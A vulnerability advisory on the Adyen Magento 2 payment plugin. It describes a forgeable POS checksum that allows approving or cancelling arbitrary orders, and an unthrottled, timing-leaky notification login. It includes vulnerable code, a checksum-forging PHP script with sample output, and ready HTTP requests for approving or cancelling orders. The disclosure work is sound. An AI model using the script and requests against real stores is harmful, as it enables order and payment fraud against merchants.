### Vulnerability Overview

The Adyen Magento 2 plugin did not securely implement authentication for the POS callback which allows an attacker to approve or cancel arbitrary orders. The only authentication required was a checksum that an attacker can recreate. Additionally, the `/adyen/process/json` endpoint did not implement any authentication brute force protection and was vulnerable to timing attacks. An attacker who can successfully brute force these credentials may submit fraudulent payment notifications and fabricate payment information.

**Date Released:** 27/07/2020  
**Author:** Denis Andzakovic  
**Project Website:** [Adyen Magento2 GitHub](https://github.com/Adyen/adyen-magento2)  
**Affected Software:** Adyen Payments Magento2 Plugin

## POS Authentication Bypass

An attacker could add the `Approved` tag to arbitrary orders or cancel arbitrary orders using the `/adyen/process/resultpos/` endpoint without privileges to do so. The `_validateChecksum` method was the only authentication mechanism and could be calculated by an attacker. Other parameters, such as `sessionId`, `originalCustomAmount`, and `originalCustomCurrency` could be set to any value as long as the checksum matched.

The following figure shows an example request to cancel an arbitrary order:

```http
POST /adyen/process/resultpos/ HTTP/1.1
...omitted for brevity...
Cookie: form_key=<FORM KEY>

form_key=<FORM KEY>&result=CANCELLED&merchantReference=ORD00001&cs=48&originalCustomAmount=12
&originalCustomCurrency=nzd&sessionId=session
```

The following snippet from `ResultPos.php` shows the vulnerable logic:

```php
    public function execute()
    {
        $response = $this->getRequest()->getParams();
        $this->_adyenLogger->addAdyenResult(print_r($response, true));

$result = $this->_validateResponse($response);

if ($result) {
            $session = $this->_session;
            $session->getQuote()->setIsActive(false)->save();
            $this->_redirect('checkout/onepage/success', ['_query' => ['utm_nooverride' => '1']]);
        } else {
            $this->_cancel($response);
            $this->_redirect($this->_adyenHelper->getAdyenAbstractConfigData('return_path'));
        }
    }
```

The `_validateResponse` method subsequently calls the `_validateChecksum` method, then cancels or approves an order based on the `POST` data:

```php
    private function _validateResponse($response)
    {
        $result = false;

if ($response != null && $response['result'] != "" && $this->_validateChecksum($response)) {
            $incrementId = $response['merchantReference'];
            $responseResult = $response['result'];

if ($incrementId) {
...omitted for brevity...
                    if ($responseResult == 'APPROVED') {
                        $this->_adyenLogger->addAdyenResult('Result is approved');

$history = $this->_orderHistoryFactory->create()
                            //->setStatus($status)
                            ->setComment($comment)
                            ->setEntityName('order')
                            ->setOrder($order);
                        $history->save();

// needed  becuase then we need to save $order objects
                        $order->setAdyenResulturlEventCode("POS_APPROVED");

// save order
                        $order->save();

return true;
                    } else {
                        $this->_adyenLogger->addAdyenResult('Result is:' . $responseResult);

$history = $this->_orderHistoryFactory->create()
                            //->setStatus($status)
                            ->setComment($comment)
                            ->setEntityName('order')
                            ->setOrder($order);
                        $history->save();

// cancel the order
                        if ($order->canCancel()) {
                            $order->cancel()->save();
                            $this->_adyenLogger->addAdyenResult('Order is cancelled');
                        } else {
                            $this->_adyenLogger->addAdyenResult('Order can not be cancelled');
                        }
                    }
                } else {
                    $this->_adyenLogger->addAdyenResult('Order does not exists with increment_id: ' . $incrementId);
                }
            } else {
                $this->_adyenLogger->addAdyenResult('Empty merchantReference');
            }
        } else {
            $this->_adyenLogger->addAdyenResult('actionName or checksum failed or response is empty');
        }
        return $result;
    }
```

The `_validateChecksum` method is the only form of authentication. Pulse Security created the following helper script to generate valid checksums:

```php
<?php
    function _getAscii2Int($ascii)
    {
        if (is_numeric($ascii)) {
            $int = ord($ascii) - 48;
        } else {
            $int = ord($ascii) - 64;
        }
        return $int;
    }

function _validateChecksum($result, $amount, $currency, $sessionId)
    {
        // for android session is with low i
        if ($sessionId == "") {
            $sessionId = $response['sessionid'];
        }

// calculate amount checksum
        $amountChecksum = 0;
        $amountLength = strlen($amount);
        for ($i=0; $i<$amountLength; $i++) {
            // ASCII value use ord
            $checksumCalc = ord($amount[$i]) - 48;
            $amountChecksum += $checksumCalc;
        }

$currencyChecksum = 0;
        $currencyLength = strlen($currency);
        for ($i=0; $i<$currencyLength; $i++) {
            $checksumCalc = ord($currency[$i]) - 64;
            $currencyChecksum += $checksumCalc;
        }

$resultChecksum = 0;
        $resultLength = strlen($result);
        for ($i=0; $i<$resultLength; $i++) {
            $checksumCalc = ord($result[$i]) - 64;
            $resultChecksum += $checksumCalc;
        }

$sessionIdChecksum = 0;
        $sessionIdLength = strlen($sessionId);
        for ($i=0; $i<$sessionIdLength; $i++) {
            $checksumCalc = _getAscii2Int($sessionId[$i]);
            $sessionIdChecksum += $checksumCalc;
        }

$totalResultChecksum = (($amountChecksum + $currencyChecksum + $resultChecksum) * $sessionIdChecksum) % 100;

echo $totalResultChecksum . "\n";
    }

_validateChecksum($argv[1],$argv[2],$argv[3],$argv[4]);
?>
```

The following figure shows the helper tool being used to generate a checksum for approving orders:

```
doi@DESKTOP-3B8DEA2F:~/tmp$ php checksummer.php APPROVED 12 nzd session
60
```

The result above can then be used to add the approved tag to an order as follows:

```http
POST /adyen/process/resultpos/ HTTP/1.1
...omitted for brevity...
Cookie: form_key=<FORM KEY>

form_key=<FORM KEY>&result=APPROVED&merchantReference=ORD00001&cs=60&originalCustomAmount=12
&originalCustomCurrency=nzd&sessionId=session
```

## Payment JSON Callback Brute Forcing and Timing Attacks

The `/adyen/process/json` endpoint did not implement any authentication brute force protection. An attacker who can successfully brute force these credentials may submit fraudulent payment notifications and fabricate payment information. Additionally, the use of `strcmp` for password comparison allows for timing attacks.

The following snippet shows the vulnerability:

```php
    public function execute()
    {
        // if version is in the notification string show the module version
        $response = $this->getRequest()->getParams();
        if (isset($response['version'])) {
            $this->getResponse()
                ->clearHeader('Content-Type')
                ->setHeader('Content-Type', 'text/html')
                ->setBody($this->_adyenHelper->getModuleVersion());

return;
        }

try {
            $notificationItems = json_decode(file_get_contents('php://input'), true);

$notificationMode = isset($notificationItems['live']) ? $notificationItems['live'] : "";

if ($notificationMode !== "" && $this->_validateNotificationMode($notificationMode)) {

foreach ($notificationItems['notificationItems'] as $notificationItem) {
                    $status = $this->_processNotification(
                        $notificationItem['NotificationRequestItem'],
                        $notificationMode
                    );
```

The `_processNotification` method subsequently calls the `authorised` method, which extracts the username and password passed via the `authorization` header:

```php
protected function authorised($response)
    {
        // Add CGI support
        $this->_fixCgiHttpAuthentication();

$internalMerchantAccount = $this->_adyenHelper->getAdyenAbstractConfigData('merchant_account');
        $username = $this->_adyenHelper->getAdyenAbstractConfigData('notification_username');
        $password = $this->_adyenHelper->getNotificationPassword();

$submitedMerchantAccount = $response['merchantAccountCode'];
...omitted for brevity...
        // validate username and password
        if ((!isset($_SERVER['PHP_AUTH_USER']) && !isset($_SERVER['PHP_AUTH_PW']))) {
            if ($this->_isTestNotification($response['pspReference'])) {
                $this->_returnResult(
                    'Authentication failed: PHP_AUTH_USER and PHP_AUTH_PW are empty. See Adyen Magento manual CGI mode'
                );
            }
            return false;
        }

$usernameCmp = strcmp($_SERVER['PHP_AUTH_USER'], $username);
        $passwordCmp = strcmp($_SERVER['PHP_AUTH_PW'], $password);
        if ($usernameCmp === 0 && $passwordCmp === 0) {
            return true;
        }

// If notification is test check if fields are correct if not return error
        if ($this->_isTestNotification($response['pspReference'])) {
            if ($usernameCmp != 0 || $passwordCmp != 0) {
                $this->_returnResult(
                    'username (PHP_AUTH_USER) and\or password (PHP_AUTH_PW) are not the same as Magento settings'
                );
            }
        }
        return false;
    }
```

The code above implements no brute force protection, allowing an attacker to try multiple username and password combinations without restriction.
Additionally, the `strcmp` lines above did not perform timing-safe comparisons of the username and password. Given sufficient network stability and a minimally loaded server, an attacker could potentially stage a timing-attack to determine the password.

## Timelines

2020-04-24: Advisory reported to Adyen  
2020-06-26: Pull request [Fixes Merged](https://github.com/Adyen/adyen-magento2/pull/736)  
2020-07-27: Advisory released

* * *
